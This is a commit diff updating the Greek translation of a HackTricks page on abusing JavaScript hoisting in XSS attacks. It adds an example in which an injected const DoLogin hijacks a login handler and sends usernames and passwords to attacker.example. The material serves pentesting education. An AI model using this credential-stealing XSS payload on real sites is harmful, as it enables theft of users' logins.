Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting

This commit is contained in:
Translator 2025-08-28 19:37:41 +00:00
parent da0490f836
commit 650556e132
2 changed files with 320 additions and 243 deletions

File diff suppressed because it is too large Load Diff

View File

@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Βασικές Πληροφορίες
Στη γλώσσα JavaScript, περιγράφεται ένας μηχανισμός γνωστός ως **Hoisting**, όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή εισαγωγών θεωρητικά ανυψώνονται στην κορυφή του πεδίου τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία εκτελείται αυτόματα από την μηχανή JavaScript, η οποία διασχίζει το σενάριο σε πολλές περάσεις.
Στη γλώσσα JavaScript, υπάρχει ένας μηχανισμός γνωστός ως **Hoisting** όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή imports θεωρητικά ανυψώνονται στην κορυφή του scope τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία γίνεται αυτόματα από τη μηχανή JavaScript, η οποία επεξεργάζεται το script σε πολλαπλές διελεύσεις.
Κατά την πρώτη πέραση, η μηχανή αναλύει τον κώδικα για να ελέγξει για συντακτικά σφάλματα και τον μετατρέπει σε ένα αφηρημένο δέντρο συντακτικού. Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του εκτελεστικού πλαισίου. Εάν η φάση ανάλυσης είναι επιτυχής, υποδεικνύοντας ότι δεν υπάρχουν συντακτικά σφάλματα, η εκτέλεση του σεναρίου προχωρά.
Κατά την πρώτη διέλευση, η μηχανή καταχωρεί τον κώδικα για να ελέγξει για συντακτικά λάθη και τον μετασχηματίζει σε ένα abstract syntax tree. Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του execution context. Αν η φάση parsing περάσει επιτυχώς, δηλαδή δεν υπάρχουν συντακτικά λάθη, προχωρά η εκτέλεση του script.
Είναι κρίσιμο να κατανοήσετε ότι:
Είναι κρίσιμο να κατανοήσουμε ότι:
1. Το σενάριο πρέπει να είναι ελεύθερο από συντακτικά σφάλματα για να συμβεί η εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά.
2. Η τοποθέτηση του κώδικα μέσα στο σενάριο επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελούμενος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση.
1. Το script πρέπει να είναι ελεύθερο από συντακτικά λάθη για να συμβεί εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά.
2. Η τοποθέτηση του κώδικα μέσα στο script επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελούμενος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση.
#### Types of Hoisting
#### Τύποι του Hoisting
Βασισμένο στις πληροφορίες από το MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript:
Βάσει των πληροφοριών από MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript:
1. **Value Hoisting**: Ενεργοποιεί τη χρήση της τιμής μιας μεταβλητής μέσα στο πεδίο της πριν από τη γραμμή δήλωσής της.
2. **Declaration Hoisting**: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο πεδίο της πριν από τη δήλωσή της χωρίς να προκαλεί `ReferenceError`, αλλά η τιμή της μεταβλητής θα είναι `undefined`.
3. Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο πεδίο του λόγω της δήλωσης της μεταβλητής πριν από την πραγματική γραμμή δήλωσής της.
4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν από την αξιολόγηση του υπόλοιπου κώδικα που την περιέχει.
1. **Value Hoisting**: Επιτρέπει τη χρήση της τιμής μιας μεταβλητής μέσα στο scope πριν από τη γραμμή της δήλωσής της.
2. **Declaration Hoisting**: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο scope πριν από τη δήλωσή της χωρίς να προκαλεί `ReferenceError`, αλλά η τιμή της μεταβλητής θα είναι `undefined`.
3. Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο scope λόγω της δήλωσης της μεταβλητής πριν από την πραγματική γραμμή δήλωσής της.
4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν αξιολογηθεί το υπόλοιπο του κώδικα που την περιέχει.
Λεπτομερώς, οι δηλώσεις συναρτήσεων εμφανίζουν συμπεριφορά τύπου 1 hoisting. Η λέξη-κλειδί `var` δείχνει συμπεριφορά τύπου 2. Οι λεξικές δηλώσεις, οι οποίες περιλαμβάνουν `let`, `const` και `class`, δείχνουν συμπεριφορά τύπου 3. Τέλος, οι δηλώσεις `import` είναι μοναδικές καθώς ανυψώνονται με συμπεριφορές τύπου 1 και τύπου 4.
Ενδεικτικά, οι δηλώσεις συναρτήσεων εμφανίζουν συμπεριφορά hoisting τύπου 1. Η λέξη-κλειδί `var` δείχνει συμπεριφορά τύπου 2. Οι lexical declarations, που περιλαμβάνουν `let`, `const`, και `class`, δείχνουν συμπεριφορά τύπου 3. Τέλος, οι δηλώσεις `import` είναι μοναδικές στο ότι hoistάρονται με συμπεριφορές τόσο τύπου 1 όσο και τύπου 4.
## Scenarios
## Σενάρια
Επομένως, αν έχετε σενάρια όπου μπορείτε να **Inject JS code after an undeclared object** είναι δυνατόν να **fix the syntax** δηλώνοντάς το (έτσι ώστε ο κώδικάς σας να εκτελείται αντί να προκαλεί σφάλμα):
Επομένως, αν έχετε σενάρια όπου μπορείτε να **Inject JS code after an undeclared object** χρησιμοποιείται, μπορείτε να **fix the syntax** δηλώνοντάς το (ώστε ο κώδικάς σας να εκτελεστεί αντί να πετάξει σφάλμα):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -127,11 +127,31 @@ alert(1) -
},
})
}
trigger()
```
### Προλάβετε μετέπειτα δηλώσεις κλειδώνοντας ένα όνομα με const
Αν μπορείτε να εκτελεστείτε πριν γίνει parsing ενός top-level `function foo(){...}`, η δήλωση μιας λεξικής δέσμευσης με το ίδιο όνομα (π.χ., `const foo = ...`) θα αποτρέψει τη μετέπειτα δήλωση function από το να επαναδεσμεύσει αυτόν τον αναγνωριστή. Αυτό μπορεί να καταχραστεί σε RXSS για να υποκλέψει κρίσιμους handlers που ορίζονται αργότερα στη σελίδα:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
Σημειώσεις
- Αυτό βασίζεται στη σειρά εκτέλεσης και στο global (top-level) scope.
- Αν το payload σας εκτελείται μέσα σε `eval()`, θυμηθείτε ότι οι `const/let` μέσα σε `eval` είναι block-scoped και δεν θα δημιουργήσουν global bindings. Εισάγετε ένα νέο `<script>` στοιχείο με τον κώδικα για να δημιουργήσετε έναν πραγματικό global `const`.
## Αναφορές
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
{{#include ../../banners/hacktricks-training.md}}